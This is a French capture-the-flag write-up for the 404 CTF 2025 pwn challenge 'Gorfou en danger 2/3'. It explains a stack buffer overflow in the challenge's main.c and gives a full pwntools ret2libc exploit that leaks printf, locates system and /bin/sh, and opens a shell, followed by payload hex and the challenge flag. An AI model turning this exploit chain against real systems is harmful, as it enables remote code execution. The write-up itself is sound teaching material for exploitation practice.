Gorfou en danger 2/3 | 404 CTF 2025
Gorfou en danger 2/3
Ressources
Cody a atteint le point de rendez-vous avec notre station orbitale Penrose, mais il est incapable de s’amarrer sans les clés d’accès, malheureusement détruites sur Mars. Votre mission consiste encore à obtenir un accès grâce à une console plus récente située sur la station.
Host : challenges.404ctf.fr Port : 32464
gorfou-en-danger-2
├── chall
├── ld-linux-x86-64.so.2
├── libc.so.6
├── main.c
Analyse
D’abord, j’exécute le programme pour voir ce qu’il attend en entrée.
1
2
3
4
5
6
7
8
9
10
11
12
13
__
/\ \
/ \ \ >>========================================================<<
/ /\ \ \ ||░█▀▄░█▀▀░█▀▀░█▀▀░░░█▀▀░█▀█░█▀█░█▀▀░█▀█░█░░░█▀▀░░░█░█░▀▀▄||
/ / /\ \ \ ||░█░█░█░█░▀▀█░█░█░░░█░░░█░█░█░█░▀▀█░█░█░█░░░█▀▀░░░▀▄▀░▄▀░||
/ / /__\_\ \ ||░▀▀░░▀▀▀░▀▀▀░▀▀▀░░░▀▀▀░▀▀▀░▀░▀░▀▀▀░▀▀▀░▀▀▀░▀▀▀░░░░▀░░▀▀▀||
/ / /________\ >>========================================================<<
\/___________/
Terminal de contrôle à distance de la station orbilate Penrose
> help
Commande inconnue
> test
Commande inconnue
Il semble que le programme soit un terminal que nous pouvons utiliser pour exécuter des commandes. Le problème est que nous ne savons pas quelles commandes nous pouvons utiliser. Regardons donc le fichier main.c pour voir si nous pouvons trouver quelque chose d’intéressant.
1
2
3
4
5
6
7
int main(void) {
while (1) {
take_command();
}
return 0;
}
Le fichier main fait une boucle while qui appelle take_command().
1
2
3
4
5
6
7
void take_command() {
char command[0x100];
printf("> ");
read(0, command, 0x130);
printf("Commande inconnue\n");
}
Cette fonction crée un buffer de 0x100 octets (256 octets) et lit l’entrée dedans. Le problème est que le buffer fait 0x100 octets mais la fonction read lit 0x130 octets. Nous avons donc notre buffer overflow ici. Il y a aussi une autre fonction qui n’est pas appelée et qui semble intéressante.
debug_info()
1
2
3
4
5
6
7
8
void debug_info(void) {
// our very own "info proc map"
printf("main address : %p\n", &main);
printf("printf address : %p\n", *(uint64_t *)0x403008);
void* local_var = NULL;
printf("Stack address : %p\n", &local_var);
return;
}
Nous avons quelque chose d’intéressant qui est lié à la libc.
Cette fonction affiche l’adresse de printf.
Pour voir les adresses, nous pouvons utiliser notre exploit précédent pour accéder à debug_info().
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
host = 'challenges.404ctf.fr'
port = 32462
target = remote(host, port)
OFFSET = 264
DEBUG_INFO = 0x00000000004004fd
payload = b'A' * OFFSET + p64(DEBUG_INFO)
target.sendline(payload)
target.interactive()
1
2
3
4
5
6
7
8
9
# python3 debug.py
main address : 0x400584
printf address : 0x7fb6cecbab40
Stack address : 0x7ffc5fff6200
# python3 debug.py
main address : 0x400584
printf address : 0x7f835a427b40
Stack address : 0x7ffc671469e0
On peut voir que l’ASLR est activé, il est donc nécessaire de leak les adresses.
Objectif
L’objectif est d’obtenir un shell pour faire un cat du fichier flag.txt. Pour ce faire, il y a 2 étapes :
Obtenir l’adresse de printf pour calculer l’adresse de system et d’autres éléments utiles.
Utiliser l’adresse de system pour obtenir un shell.
Exploit
Pour obtenir l’adresse de notre libc, nous pouvons utiliser l’adresse de printf et l’offset de printf dans la libc.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def get_libc_leak(r, OFFSET_RIP, DEBUG_INFO, MAIN):
"""
Get the libc leak from the debug_info function.
"""
payload = b"A" * OFFSET_RIP
payload += p64(DEBUG_INFO)
payload += p64(MAIN)
print(f"\n----------------------")
print(f" Payload to leak libc ")
print(f"----------------------\n")
print(payload.hex())
r.recvuntil(b"> ")
r.sendline(payload)
output = r.recv()
for value in output.split(b"\n"):
if b"printf" in value:
printf_leak = int(value.split(b" ")[-1], 16)
print(f"\nprintf() : {hex(printf_leak)}")
return printf_leak
def main():
OFFSET_RIP = 264
DEBUG_INFO = 0x00000000004004ed
MAIN = 0x0000000000400584
r = conn()
printf_leak = get_libc_leak(r, OFFSET_RIP, DEBUG_INFO, MAIN)
D’abord, nous devons obtenir l’adresse de debug_info() et main() pour construire notre payload.
Avec cela, nous effectuons notre premier buffer overflow pour fuiter l’adresse de printf en entrant dans debug_info(). Pour entrer notre véritable exploit, nous avons besoin d’une seconde entrée, donc nous devons retourner à main pour entrer dans take_command() une seconde fois.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def get_libc_addr(printf_leak) -> dict:
"""
Get useful libc addresses.
"""
libc_addresses = {}
libc_addresses['printf'] = printf_leak
libc.address = libc_addresses["printf"] - libc.symbols['printf']
rop = ROP(libc)
libc_addresses["system"] = libc.sym['system']
libc_addresses["bin_sh"] = next(libc.search(b'/bin/sh\x00'))
libc_addresses["pop_rdi"] = rop.find_gadget(['pop rdi', 'ret'])[0]
libc_addresses["ret"] = rop.find_gadget(['ret'])[0]
print(f"\n----------------------")
print(f" Libc Addresses ")
print(f"----------------------\n")
print(f"system() : {hex(libc_addresses['system'])}")
print(f"/bin/sh : {hex(libc_addresses['bin_sh'])}")
print(f"pop rdi : {hex(libc_addresses['pop_rdi'])}")
print(f"ret : {hex(libc_addresses['ret'])}")
return libc_addresses
def main():
...
libc_addresses = get_libc_addr(printf_leak)
...
Nous calculons toutes les adresses intéressantes avec le fichier libc et l’adresse de printf que nous avons fuitée pour construire notre Ropchain Libc.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def create_payload(libc_addresses: dict, OFFSET_RIP: int):
"""
Function to create the payload to send.
"""
payload = b"A" * OFFSET_RIP
payload += p64(libc_addresses['ret'])
payload += p64(libc_addresses['pop_rdi'])
payload += p64(libc_addresses['bin_sh'])
payload += p64(libc_addresses['system'])
print(f"\n----------------------")
print(f" Final Payload ")
print(f"----------------------\n")
print(payload.hex())
return payload
def exploit(r, payload):
"""
exploit function to send payload
"""
r.recvuntil(b"> ")
r.sendline(payload)
r.interactive()
def main():
...
payload = create_payload(libc_addresses, OFFSET_RIP)
exploit(r, payload)
...
Ensuite, nous créons notre payload pour obtenir un shell et l’envoyons au serveur.
Voici mon exploit complet : solver.py
obtention du flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
----------------------
Payload to leak libc
----------------------
414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141ed044000000000008405400000000000
printf() : 0x7fd9dabd7b40
----------------------
Libc Addresses
----------------------
system() : 0x7fd9dabd0db0
/bin/sh : 0x7fd9dad53ece
pop rdi : 0x7fd9dac7e3a5
ret : 0x7fd9daba3ad3
----------------------
Final Payload
----------------------
414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141d33abadad97f0000a5e3c7dad97f0000ce3ed5dad97f0000b00dbddad97f0000
----------------------
Flag
----------------------
404CTF{FELiC174TI0nS_!_cE_N_E$T_QUe_Le_DebUT_C0NTiNU32_À_4pPREnDR3_l3_pWn}